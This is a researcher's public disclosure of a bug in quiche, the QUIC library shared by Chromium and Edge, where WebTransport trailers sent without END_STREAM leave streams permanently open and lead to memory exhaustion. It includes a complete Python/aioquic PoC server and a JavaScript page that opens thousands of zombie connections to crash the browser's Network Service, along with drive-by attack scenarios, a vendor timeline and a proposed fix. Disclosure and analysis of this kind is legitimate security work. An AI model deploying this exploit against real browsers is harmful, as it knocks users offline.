WebTransport Zombie Connections: RFC 9114 Trailer Frame Triggers Permanent Stream Leak & OOM in Microsoft Edge and Chromium


Background

WebTransport is a browser API that provides bidirectional, low-latency communication over HTTP/3. Under the hood, each WebTransport session is established as an HTTP/3 CONNECT stream — a persistent QUIC stream that the browser holds open for the duration of the session.

The quiche QUIC library, maintained by Google, is the shared H3 implementation used in both Chromium and Microsoft Edge. When a WebTransport session ends, the server is expected to close the CONNECT stream by sending a trailer HEADERS frame with END_STREAM=true. quiche’s stream state machine reads this flag and delivers a FIN, which causes the stream to be fully closed and removed from the active connection.

This post documents a bug in that state machine. When the server sends a trailer HEADERS frame with END_STREAM=0 — a violation of RFC 9114 §4.1, but one that a compliant implementation is expected to handle defensively — quiche enters a permanent zombie state. The stream is never closed, the QUIC connection is kept alive indefinitely, and the browser sends PING keepalives every ~15 seconds to maintain it. Because Edge and Chromium enforce no limit on simultaneous WebTransport connections, a single webpage can open thousands of zombie connections, growing Network Service memory by over 5,000% before triggering an OOM crash.

This vulnerability was reported to both Microsoft MSRC and Google Chrome VRP. Both vendors closed the report without a fix, citing availability-only impact. Given those decisions, I am publishing the full technical details here.


Disclosure Timeline

  • August 16, 2026 — Report submitted to Microsoft MSRC
  • August 16, 2026 — MSRC auto-acknowledgement, case opened
  • August 26, 2026 — MSRC closed: “assessed as None severity — impact is limited to availability”
  • August 16, 2026 — Report submitted to Google Chrome VRP in parallel
  • August 16, 2026 — Chrome VRP closed same day by automated triage (#sheepdog-wontfix-preliminary)
  • August 16, 2026 — Technical rebuttal submitted (comment #4)
  • August 16, 2026 — Google replied 5 minutes later: “closed as incomplete or invalid — will not respond to further comments”
  • September 3, 2026 — Public disclosure

What Is a WebTransport CONNECT Stream?

HTTP/3 WebTransport (RFC 9220) establishes sessions over extended CONNECT requests. The lifecycle of a CONNECT stream looks like this:

Client → Server:  HEADERS (method: CONNECT, :protocol: webtransport)
Server → Client:  HEADERS (status: 200)          ← session open
         [bidirectional data exchange]
Server → Client:  HEADERS (trailers, END_STREAM=true)  ← RFC 9114 §4.1

RFC 9114 §4.1 is explicit: “An HTTP message is complete when all the HEADERS frames associated with it have been received, and any DATA frames that have been sent carry the END_STREAM flag.” The final HEADERS frame — trailers — must carry END_STREAM=true to signal stream completion.

When END_STREAM=false appears on the trailer frame, the stream is in a state that the specification does not define. A hardened implementation rejects it immediately. quiche does not.


The Root Cause

File: third_party/quiche/src/quiche/quic/core/http/quic_spdy_stream.cc
Function: QuicSpdyStream::OnTrailingHeadersComplete()

1
2
3
4
5
6
7
8
void QuicSpdyStream::OnTrailingHeadersComplete(
    bool fin, size_t frame_len, const QuicHeaderList& header_list) {
  trailers_decompressed_ = true;
  if (fin) {
    OnStreamFrame(QuicStreamFrame(id(), fin, 0, absl::string_view()));
  }
  // fin=false: FIN never delivered → stream permanently stuck
}

When fin=false, trailers_decompressed_ is set to true but OnStreamFrame is never called. This means the sequencer never receives a FIN. The resulting state:

trailers_decompressed_ = true
sequencer()->IsClosed()  = false   ← FIN never arrived

This propagates up through the call chain:

QuicSpdyStream::IsDoneReading()
  → trailers_decompressed_=true
  → return sequencer()->IsClosed()  ← always false [PERMANENT]

QuicSession::GetNumActiveStreams()
  → stream_map_.size() - num_draining - num_static - num_zombie
  → zombie CONNECT stream counted as active [PERMANENT]

QuicSession::ShouldKeepConnectionAlive()
  → GetNumActiveStreams() > 0 → true [PERMANENT]
  → Idle timeout never fires
  → Edge/Chromium sends QUIC PING every ~15s to maintain connection

The stream is permanently stuck. It is never removed from stream_map_. The QUIC connection is held open indefinitely.


Memory Exhaustion

Because the browser enforces no limit on simultaneous WebTransport connections, a single webpage can open thousands of zombie connections in a loop. Each zombie connection holds its stream state in memory for the lifetime of the process.

Measured impact (Edge 151.0.4129.86 / Windows 11 25H2):

State Network Service Memory
Baseline 6.2 MB
After 5,000 zombies 339.3 MB (+5,373%)
Per-connection cost ~67 KB
OOM crash threshold ~15,000 connections (~1 GB)

At ~15,000 connections, the Network Service process crashes with an OOM condition. All browser tabs simultaneously lose network connectivity. The crash is unrecoverable without restarting the browser.

Heap dump verification is available via edge://memory-internals → Load trace → inspect Service: network.mojom.NetworkService → malloc allocator.


Proof of Concept

Requirements:

1
2
3
4
pip install aioquic
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem \
  -days 365 -nodes -subj "/CN=localhost"
python h3_webtransport_zombie.py

Browser launch:

1
2
3
4
msedge.exe --enable-quic --ignore-certificate-errors \
  --origin-to-force-quic-on=localhost:4433 \
  --enable-features=WebTransportDeveloperMode \
  https://localhost:4433/

Opening https://localhost:4433/ presents an interactive test page. Clicking “Test /zombie” causes wt.closed to never resolve — zombie state is active. “MASS Amplification (1000x)” opens 5,000 connections, growing Network Service memory from 6 MB to 339 MB.

Zombie verification — netlog:

1
2
3
msedge.exe --log-net-log=netlog.json ...
# Open: https://netlog-viewer.appspot.com/
# Search: QUIC_SESSION events → 182s+ periodic PING keepalive

Full PoC Server Code

The code below is long. It includes all test routes (/zombie, /zombie-flood, /double-trailer, /datagram-zombie, /normal, /zombie-silent), the interactive HTML test page, and the mass amplification scenario.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
"""
WebTransport Zombie State PoC -- Chrome QUIC/HTTP3 Bug

DESCRIPTION
-----------
A malicious origin server can create a permanent "zombie" state on a
WebTransport CONNECT stream by:

  1. Accepting the WebTransport CONNECT (extended CONNECT with
     :protocol=webtransport) with a valid 200 OK.
  2. Sending a trailer HEADERS frame on the CONNECT stream WITHOUT the
     END_STREAM bit (no FIN on the QUIC stream).

This causes Chrome's QuicSpdyStream to enter a stuck state:
  - trailers_decompressed_ = true  (trailers parsed)
  - fin_received()          = false (no FIN ever arrives)
  - IsDoneReading()         = false (stream sequencer never closed)

The stream stays alive in stream_map_ indefinitely.
ShouldKeepConnectionAlive() always returns true. The QUIC connection
can never be idle-closed by Chrome's network stack.

ROUTES
------
  /              HTML test page
  /zombie        Plain zombie: 200 OK, trailer without FIN, connection hangs
  /zombie-flood  Zombie + 50 server-initiated unidirectional streams
  /zombie-loop   Zombie + streams until Chrome sends STREAM_LIMIT_ERROR
  /normal        Control: proper close with END_STREAM
  /datagram-zombie  Zombie + post-zombie datagram delivery test
  /zombie-silent Silent zombie for mass amplification testing

TEST COMMAND
------------
  python h3_webtransport_zombie.py

  # Chrome/Edge (enable WT developer mode):
  msedge.exe --enable-quic --ignore-certificate-errors \
    --origin-to-force-quic-on=localhost:4433 \
    --enable-features=WebTransportDeveloperMode \
    https://localhost:4433/

  # Confirm zombie via netlog:
  chrome.exe ... --log-net-log=netlog.json
  # Open netlog.json in https://netlog-viewer.appspot.com/
  # Search for QUIC_SESSION events -- should see 182s+ keepalive
"""

import asyncio
from typing import Optional

from aioquic.asyncio import serve
from aioquic.asyncio.protocol import QuicConnectionProtocol
from aioquic.buffer import encode_uint_var
from aioquic.h3.connection import (
    H3Connection,
    HeadersState,
    FrameType,
    encode_frame,
)
from aioquic.h3.events import HeadersReceived, DatagramReceived
from aioquic.quic.configuration import QuicConfiguration
from aioquic.quic.events import ProtocolNegotiated

HOST = "localhost"
PORT = 4433


# ---------------------------------------------------------------------------
# Zombie trailer injection
# ---------------------------------------------------------------------------

def send_zombie_trailer(h3: H3Connection, stream_id: int):
    """Send a HEADERS trailer WITHOUT end_stream=True (no FIN)."""
    trailers = [(b"x-zombie", b"1"), (b"x-hang", b"no-fin")]

    # aioquic blocks second HEADERS when state==AFTER_TRAILERS.
    # Reset state so _encode_headers encoder path works, then inject raw.
    with h3._get_or_create_stream(stream_id) as stream:
        stream.headers_send_state = HeadersState.AFTER_HEADERS

    frame_data = h3._encode_headers(stream_id, trailers)
    raw_frame = encode_frame(FrameType.HEADERS, frame_data)

    # Send WITHOUT end_stream -- this is the bug trigger
    h3._quic.send_stream_data(stream_id, raw_frame, end_stream=False)
    print(f"[zombie] trailer sent on stream {stream_id} -- NO FIN", flush=True)


def send_second_trailer(h3: H3Connection, stream_id: int, with_fin: bool = False):
    """
    Send a SECOND HEADERS frame on a stream that already has
    trailers_decompressed_=true.

    In Chrome release builds: QUICHE_DCHECK(!trailers_decompressed_) is a no-op.
    OnTrailingHeadersComplete() is called AGAIN -- state machine enters
    undefined behavior.

    If with_fin=True: second call delivers FIN to stream sequencer -> may unzombie.
    If with_fin=False: DCHECK fires (no-op), trailers_decompressed_ stays true.

    Testing for:
      - Heap corruption in QuicHeaderList replacement
      - QPACK dynamic table confusion (double-ack of same entries)
      - WebTransportHttp3 state confusion if notified twice
    """
    trailers2 = [(b"x-zombie-2", b"double"), (b"x-seq", b"2")]

    with h3._get_or_create_stream(stream_id) as stream:
        stream.headers_send_state = HeadersState.AFTER_HEADERS

    frame_data = h3._encode_headers(stream_id, trailers2)
    raw_frame = encode_frame(FrameType.HEADERS, frame_data)

    h3._quic.send_stream_data(stream_id, raw_frame, end_stream=with_fin)
    print(f"[double] 2nd trailer sent stream={stream_id} fin={with_fin}", flush=True)


def send_post_trailer_data(h3: H3Connection, stream_id: int):
    """
    Send a DATA frame AFTER trailers. RFC 9114 violation.

    Chrome's H3 frame parser sees DATA in AFTER_TRAILERS state.
    Expected: QUIC_HTTP_FRAME_UNEXPECTED error sent.
    Testing: does Chrome correctly reject or does it process the DATA,
    potentially overflowing/confusing received_body_ buffer.
    """
    payload = b"POST-TRAILER-DATA-AFTER-ZOMBIE" * 4   # 120 bytes
    raw = encode_frame(FrameType.DATA, payload)
    h3._quic.send_stream_data(stream_id, raw, end_stream=False)
    print(f"[postdata] DATA frame after trailer on stream {stream_id} "
          f"({len(payload)}b, H3 type=0x00)", flush=True)


# ---------------------------------------------------------------------------
# HTML test page
# ---------------------------------------------------------------------------

INDEX_HTML = b"""<!DOCTYPE html>
<html><head><title>WebTransport Zombie PoC</title></head>
<body>
<h2>WebTransport Zombie State PoC</h2>
<p><b>Standard tests:</b></p>
<button onclick="runZombie()">Test /zombie</button>
<button onclick="runFlood()">Test /zombie-flood</button>
<button onclick="runDouble()">Test /double-trailer</button>
<button onclick="runDoubleFin()">Test /double-trailer-fin</button>
<button onclick="runPostData()">Test /post-trailer-data</button>
<button onclick="runNormal()">Control /normal</button>
<p><b>Escalation tests:</b></p>
<button onclick="runDgramZombie()">Test /datagram-zombie (state confusion)</button>
<button onclick="runAmplification()">Amplification (10x zombie)</button>
<button onclick="runMassAmplification()">MASS Amplification (1000x)</button>
<button onclick="clearLog()">Clear log</button>
<pre id="log"></pre>
<script>
const log = document.getElementById('log');
function L(s) { log.textContent += s + '\n'; console.log(s); }
function clearLog() { log.textContent = ''; }

async function runWT(path) {
  L('--- ' + path + ' ---');
  const wt = new WebTransport('https://localhost:4433' + path);
  try {
    await wt.ready;
    L('[ready] session open');
  } catch(e) { L('[error] ' + e); return; }

  try {
    const w = wt.datagrams.writable.getWriter();
    await w.write(new TextEncoder().encode('hello'));
    L('[datagram] sent');
  } catch(e) { L('[datagram error] ' + e); }

  const t0 = Date.now();
  const TIMEOUT = 15000;
  const timer = new Promise((_, r) =>
    setTimeout(() => r(new Error('TIMEOUT ' + TIMEOUT + 'ms')), TIMEOUT));
  try {
    await Promise.race([wt.closed, timer]);
    L('[closed] after ' + ((Date.now()-t0)/1000).toFixed(1) + 's <- UNEXPECTED on zombie');
  } catch(e) {
    L('[' + e.message + '] after ' + ((Date.now()-t0)/1000).toFixed(1) + 's');
    if (e.message.startsWith('TIMEOUT'))
      L('BUG CONFIRMED: wt.closed never resolved -- zombie state active');
  }
}

async function runDgramZombie() {
  L('--- /datagram-zombie (state confusion test) ---');
  const wt = new WebTransport('https://localhost:4433/datagram-zombie');
  const t0 = Date.now();
  const ts = () => ((Date.now()-t0)/1000).toFixed(2) + 's';

  try { await wt.ready; L('[ready] ' + ts()); } catch(e) { L('[error] ' + e); return; }

  let recvCount = 0;
  const reader = wt.datagrams.readable.getReader();
  (async () => {
    try {
      while (true) {
        const {value, done} = await reader.read();
        if (done) { L('[dgram-recv] stream done at ' + ts()); break; }
        recvCount++;
        const txt = new TextDecoder().decode(value);
        L('[dgram-recv] #' + recvCount + ' "' + txt + '" at ' + ts());
      }
    } catch(e) { L('[dgram-recv-err] ' + e + ' at ' + ts()); }
  })();

  const writer = wt.datagrams.writable.getWriter();
  let sendCount = 0;
  const iv = setInterval(async () => {
    try {
      await writer.write(new TextEncoder().encode('client-' + sendCount));
      L('[dgram-send] #' + sendCount + ' at ' + ts());
      sendCount++;
    } catch(e) {
      L('[dgram-send-err] ' + e + ' at ' + ts());
      clearInterval(iv);
    }
  }, 500);

  const timer = new Promise((_, r) => setTimeout(() => r(new Error('TIMEOUT-20s')), 20000));
  try {
    await Promise.race([wt.closed, timer]);
    clearInterval(iv);
    L('[closed] session properly closed at ' + ts());
  } catch(e) {
    clearInterval(iv);
    if (e.message === 'TIMEOUT-20s') {
      L('');
      L('=== ZOMBIE CONFIRMED: transport.closed never resolved ===');
      L('=== DATAGRAM STATS: recv=' + recvCount + '  sent=' + sendCount + ' ===');
      L('');
      if (recvCount > 0 && sendCount > 0)
        L('!! STATE CONFUSION: datagrams flowed on a "closing" zombie session !!');
    } else {
      L('[closed-err] ' + e + ' at ' + ts());
    }
  }
}

async function runAmplification() {
  L('--- amplification (10x zombie) ---');
  const zombies = [];
  for (let i = 0; i < 10; i++) {
    try {
      const t = new WebTransport('https://localhost:4433/zombie-silent');
      await t.ready;
      zombies.push(t);
      t.closed.catch(() => {});
      L('[zombie-' + i + '] open -- total: ' + zombies.length);
    } catch(e) {
      L('[zombie-' + i + '] failed: ' + e);
    }
    await new Promise(r => setTimeout(r, 300));
  }
  L('[amplification] ' + zombies.length + '/10 open');
}

async function runMassAmplification() {
  L('--- MASS AMPLIFICATION (target: 1000 zombies) ---');
  L('Watch chrome://task-manager -> Network Service memory');
  const t0 = Date.now();
  const ts = () => '+' + ((Date.now()-t0)/1000).toFixed(1) + 's';
  const zombies = [];
  let failed = 0;
  const BATCH = 20;
  const TARGET = 5000;

  for (let i = 0; i < TARGET; i += BATCH) {
    const batch = [];
    const end = Math.min(i + BATCH, TARGET);
    for (let j = i; j < end; j++) {
      batch.push((async () => {
        try {
          const t = new WebTransport('https://localhost:4433/zombie-silent');
          await Promise.race([
            t.ready,
            new Promise((_, r) => setTimeout(() => r(new Error('T')), 4000))
          ]);
          t.closed.catch(() => {});
          return t;
        } catch(e) { return null; }
      })());
    }
    const res = await Promise.all(batch);
    const ok = res.filter(Boolean);
    zombies.push(...ok);
    failed += (end - i - ok.length);

    if (zombies.length % 100 === 0 || ok.length < BATCH) {
      L('[' + ts() + '] open=' + zombies.length + ' failed=' + failed +
        ' est_memory=~' + Math.round(zombies.length * 67 / 1024 * 1024 / 1024 * 1000) + 'MB');
    }

    if (failed > 50) {
      L('[STOP] ' + ts() + ' -- Chrome refusing connections');
      break;
    }
    await new Promise(r => setTimeout(r, 50));
  }

  L('');
  L('=== MASS AMPLIFICATION DONE ===');
  L('zombie sessions open: ' + zombies.length);
  L('failed connections:   ' + failed);
  L('est. Network Service growth: ~' + Math.round(zombies.length * 67) + ' KB');
}

window.runZombie            = () => runWT('/zombie');
window.runFlood             = () => runWT('/zombie-flood');
window.runDouble            = () => runWT('/double-trailer');
window.runDoubleFin         = () => runWT('/double-trailer-fin');
window.runPostData          = () => runWT('/post-trailer-data');
window.runNormal            = () => runWT('/normal');
window.runDgramZombie       = runDgramZombie;
window.runAmplification     = runAmplification;
window.runMassAmplification = runMassAmplification;
</script>
</body></html>
"""


# ---------------------------------------------------------------------------
# Protocol handler
# ---------------------------------------------------------------------------

class ZombieProtocol(QuicConnectionProtocol):
    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self._h3: Optional[H3Connection] = None

    def quic_event_received(self, event):
        if isinstance(event, ProtocolNegotiated):
            self._h3 = H3Connection(self._quic, enable_webtransport=True)

        if self._h3 is not None:
            for h3_evt in self._h3.handle_event(event):
                if isinstance(h3_evt, HeadersReceived):
                    asyncio.ensure_future(
                        self._handle(h3_evt.stream_id, h3_evt.headers)
                    )
                elif isinstance(h3_evt, DatagramReceived):
                    txt = h3_evt.data.decode("ascii", "replace")
                    print(f"[dgram-recv] sid={h3_evt.stream_id} data={txt!r}",
                          flush=True)

    async def _handle(self, sid: int, headers: list):
        method = path = protocol = ""
        for k, v in headers:
            k, v = k.decode("ascii", "replace"), v.decode("ascii", "replace")
            if k == ":method":    method   = v
            elif k == ":path":    path     = v
            elif k == ":protocol": protocol = v

        print(f"[req] sid={sid} {method} {path} proto={protocol!r}", flush=True)

        if method == "GET" and path == "/":
            self._h3.send_headers(sid, [
                (b":status", b"200"), (b"content-type", b"text/html"),
            ])
            self._h3.send_data(sid, INDEX_HTML, end_stream=True)
            self.transmit()
            return

        if method == "CONNECT" and protocol == "webtransport":
            if path == "/zombie":
                asyncio.ensure_future(self._zombie(sid, flood=0))
            elif path == "/zombie-flood":
                asyncio.ensure_future(self._zombie(sid, flood=50))
            elif path == "/zombie-loop":
                asyncio.ensure_future(self._zombie(sid, flood=-1))
            elif path == "/double-trailer":
                asyncio.ensure_future(self._double_trailer(sid, fin=False))
            elif path == "/double-trailer-fin":
                asyncio.ensure_future(self._double_trailer(sid, fin=True))
            elif path == "/post-trailer-data":
                asyncio.ensure_future(self._post_trailer_data(sid))
            elif path == "/zombie-silent":
                asyncio.ensure_future(self._zombie_silent(sid))
            elif path == "/datagram-zombie":
                asyncio.ensure_future(self._datagram_zombie(sid))
            elif path == "/normal":
                asyncio.ensure_future(self._normal(sid))
            else:
                self._h3.send_headers(sid, [(b":status", b"404")],
                                       end_stream=True)
                self.transmit()
            return

        self._h3.send_headers(sid, [(b":status", b"400")], end_stream=True)
        self.transmit()

    async def _zombie(self, sid: int, flood: int = 0):
        self._h3.send_headers(sid, [
            (b":status", b"200"),
            (b"sec-webtransport-http3-draft", b"draft02"),
        ], end_stream=False)
        self.transmit()
        print(f"[zombie] sid={sid} session accepted", flush=True)

        await asyncio.sleep(0.3)

        try:
            self._h3.send_datagram(sid, b"zombie-hello")
            self.transmit()
        except Exception as e:
            print(f"[zombie] datagram err: {e}", flush=True)

        if flood != 0:
            await asyncio.sleep(0.1)
            await self._flood(sid, flood)

        await asyncio.sleep(0.2)

        # THE BUG: send trailer HEADERS with no FIN
        send_zombie_trailer(self._h3, sid)
        self.transmit()
        print(f"[zombie] sid={sid} now hung -- Chrome connection will not close",
              flush=True)

        t0 = asyncio.get_event_loop().time()
        while True:
            await asyncio.sleep(30)
            elapsed = asyncio.get_event_loop().time() - t0
            print(f"[zombie] sid={sid} still zombied @ {elapsed:.0f}s", flush=True)

    async def _flood(self, session_id: int, count: int):
        opened = 0
        while count == -1 or opened < count:
            try:
                sub = self._h3.create_webtransport_stream(
                    session_id, is_unidirectional=True
                )
                self._h3._quic.send_stream_data(sub, b"X" * 8, end_stream=False)
                self.transmit()
                opened += 1
                print(f"[flood] uni-stream {sub} opened ({opened})", flush=True)
                await asyncio.sleep(0.01)
            except Exception as e:
                print(f"[flood] stopped @ {opened}: {e}", flush=True)
                break
        print(f"[flood] total: {opened} sub-streams", flush=True)

    async def _double_trailer(self, sid: int, fin: bool = False):
        self._h3.send_headers(sid, [
            (b":status", b"200"),
            (b"sec-webtransport-http3-draft", b"draft02"),
        ], end_stream=False)
        self.transmit()
        await asyncio.sleep(0.3)

        send_zombie_trailer(self._h3, sid)
        self.transmit()
        print(f"[double] sid={sid} 1st trailer sent (zombie)", flush=True)

        await asyncio.sleep(0.5)

        send_second_trailer(self._h3, sid, with_fin=fin)
        self.transmit()
        print(f"[double] sid={sid} 2nd trailer sent fin={fin}", flush=True)

        await asyncio.sleep(5)
        print(f"[double] sid={sid} still alive after double trailer", flush=True)

    async def _post_trailer_data(self, sid: int):
        self._h3.send_headers(sid, [
            (b":status", b"200"),
            (b"sec-webtransport-http3-draft", b"draft02"),
        ], end_stream=False)
        self.transmit()
        await asyncio.sleep(0.3)

        send_zombie_trailer(self._h3, sid)
        self.transmit()
        await asyncio.sleep(0.5)

        send_post_trailer_data(self._h3, sid)
        self.transmit()
        print(f"[postdata] sid={sid} DATA sent after trailer", flush=True)

        await asyncio.sleep(5)
        print(f"[postdata] sid={sid} still alive", flush=True)

    async def _zombie_silent(self, sid: int):
        self._h3.send_headers(sid, [
            (b":status", b"200"),
            (b"sec-webtransport-http3-draft", b"draft02"),
        ], end_stream=False)
        self.transmit()
        await asyncio.sleep(0.2)
        send_zombie_trailer(self._h3, sid)
        self.transmit()
        while True:
            await asyncio.sleep(300)

    async def _datagram_zombie(self, sid: int):
        self._h3.send_headers(sid, [
            (b":status", b"200"),
            (b"sec-webtransport-http3-draft", b"draft02"),
        ], end_stream=False)
        self.transmit()
        await asyncio.sleep(0.3)

        # Phase A: before zombie
        try:
            self._h3.send_datagram(sid, b"PHASE-A-BEFORE-ZOMBIE")
            self.transmit()
            print(f"[dgram-zombie] sid={sid} phase-A sent", flush=True)
        except Exception as e:
            print(f"[dgram-zombie] sid={sid} phase-A error: {e}", flush=True)

        await asyncio.sleep(0.5)

        # Zombie trigger
        send_zombie_trailer(self._h3, sid)
        self.transmit()
        print(f"[dgram-zombie] sid={sid} ZOMBIE ACTIVE", flush=True)

        # Phase B: after zombie -- key test
        for i in range(5):
            await asyncio.sleep(1.0)
            try:
                self._h3.send_datagram(sid, f"PHASE-B-AFTER-ZOMBIE-{i}".encode())
                self.transmit()
                print(f"[dgram-zombie] sid={sid} phase-B datagram {i} sent",
                      flush=True)
            except Exception as e:
                print(f"[dgram-zombie] sid={sid} phase-B error at {i}: {e}",
                      flush=True)
                break

        t0 = asyncio.get_event_loop().time()
        while True:
            await asyncio.sleep(30)
            elapsed = asyncio.get_event_loop().time() - t0
            print(f"[dgram-zombie] sid={sid} alive @ {elapsed:.0f}s", flush=True)

    async def _normal(self, sid: int):
        self._h3.send_headers(sid, [
            (b":status", b"200"),
            (b"sec-webtransport-http3-draft", b"draft02"),
        ], end_stream=False)
        self.transmit()
        await asyncio.sleep(0.5)
        self._h3.send_headers(sid, [(b"x-close", b"clean")], end_stream=True)
        self.transmit()
        print(f"[normal] sid={sid} cleanly closed", flush=True)


# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------

def build_config():
    import pathlib
    base = pathlib.Path(__file__).parent
    cfg = QuicConfiguration(is_client=False, alpn_protocols=["h3"])
    cfg.load_cert_chain(str(base / "cert.pem"), str(base / "key.pem"))
    return cfg


async def main():
    print(f"[server] WebTransport Zombie PoC -- {HOST}:{PORT}", flush=True)
    print(f"[server] Test page: https://{HOST}:{PORT}/", flush=True)
    await serve(
        HOST, PORT,
        configuration=build_config(),
        create_protocol=ZombieProtocol,
    )
    await asyncio.Future()


if __name__ == "__main__":
    asyncio.run(main())

Secondary Bug: Datagram State Confusion

After zombie state is established, server→client QUIC datagrams continue to be delivered to the JS WebTransport.datagrams.readable stream — even though the H3 layer considers the session closed. Client→server datagrams are correctly dropped. This creates an asymmetric cross-layer state desynchronization.

Observed in DevTools Console:

[PHASE A] pre-zombie datagram received ✓
[ZOMBIE] session entered zombie state
[PHASE B] datagrams received after zombie: 6/6 ✓  ← BUG

The session appears closed at the H3 level but remains a functional unidirectional data channel at the QUIC datagram layer. This is a persistent covert channel on a nominally closed session — data delivery continues without the session being counted as active by any browser API.


Real-World Attack Scenarios

Drive-by via ad or iframe: A malicious script embedded in an advertisement or iframe silently opens thousands of zombie WebTransport connections in a loop. The page visitor observes no UI indication. After ~40 seconds, the Network Service crashes and all open tabs lose network connectivity simultaneously.

Covert channel persistence: A server can continue delivering data to JS via datagrams on a zombie session. The session does not appear in the browser’s active connection list, does not trigger idle timeout, and persists across page navigations and unloads.

Cross-navigation survival: Zombie connections survive tab navigation, page reloads, and are unaffected by cookie, storage, or cache clearing — they are held at the Network Service process level, not the page level.

Via legitimate infrastructure: The attack is deployable through any compromised WebTransport-capable endpoint — CDN subdomains, ad networks, or third-party widget providers. No direct compromise of the visited page is required.


Vendor Response

Microsoft MSRC (case opened August 16, 2026):

“After careful review, this case is assessed as None severity. This case does not meet Microsoft’s definition of a security vulnerability and is below threshold for servicing. The reported behavior is a denial-of-service condition only. The affected code resides in the upstream quiche QUIC library rather than in Edge-specific code, and any reliability handling belongs to that upstream project.”

Google Chrome VRP (August 16, 2026):

Initial closure by automated triage (#sheepdog-wontfix-preliminary):

“Closing as infeasible as this issue does not meet security reporting criteria for Chrome. This describes a functional or stability issue without security impact. Please use the standard Chromium tracker.”

Technical rebuttal submitted (comment #4, 02:57 PM):

“This was closed as a stability issue, but the root cause is a security-relevant state machine violation: (1) RFC 9114 §4.1 requires trailer HEADERS to carry END_STREAM. Chrome silently accepts a violation and enters a permanent zombie state with no recovery path. (2) After zombie state, server→client QUIC datagrams continue to be delivered to JS on a session the H3 layer considers closed — cross-layer state desynchronization, a persistent covert channel on a logically closed session. (3) No connection limit enforcement: Chrome opens unlimited WebTransport connections, enabling memory amplification from a single webpage visit (measured: 6.2 MB → 339.3 MB at 5,000 connections). Requesting human security review.”

Google response five minutes later (comment #5, 03:02 PM):

“This issue has been closed as an incomplete or invalid report and we will not respond to further comments.”

The five-minute turnaround on a technical security rebuttal indicates the second response was also automated. The #sheepdog-wontfix-preliminary tag on the initial closure confirms no human review occurred before the report was closed.

Both vendors reached the same conclusion through different reasoning. MSRC’s position — that the code lives in upstream quiche — is technically accurate: the root cause is in quic_spdy_stream.cc, a shared library. Chrome VRP’s framing of it as a stability issue rather than a security issue reflects their current OOM policy for browser crashes.

Neither vendor indicated a fix is planned.


Fix

The fix is straightforward. OnTrailingHeadersComplete must handle the fin=false case explicitly:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
void QuicSpdyStream::OnTrailingHeadersComplete(
    bool fin, size_t frame_len, const QuicHeaderList& header_list) {
  trailers_decompressed_ = true;
  if (fin) {
    OnStreamFrame(QuicStreamFrame(id(), fin, 0, absl::string_view()));
  } else {
    // RFC 9114 §4.1 violation: trailer without END_STREAM
    // Reset the stream to prevent zombie state
    Reset(QUIC_STREAM_GENERAL_PROTOCOL_ERROR);
  }
}

Alternatively, a WebTransport-specific connection limit would cap the OOM impact regardless of the stream state bug.


Conclusion

A single-bit omission — END_STREAM=0 on a WebTransport trailer HEADERS frame — is sufficient to permanently strand a QUIC connection in quiche’s stream state machine. The browser holds the connection open, sends keepalives, and accumulates unbounded memory until an OOM crash takes down all network connectivity for the user. A secondary bug delivers datagrams to JS on sessions the H3 layer considers closed.

The root cause is in code that two major browser vendors share. Neither has committed to a fix.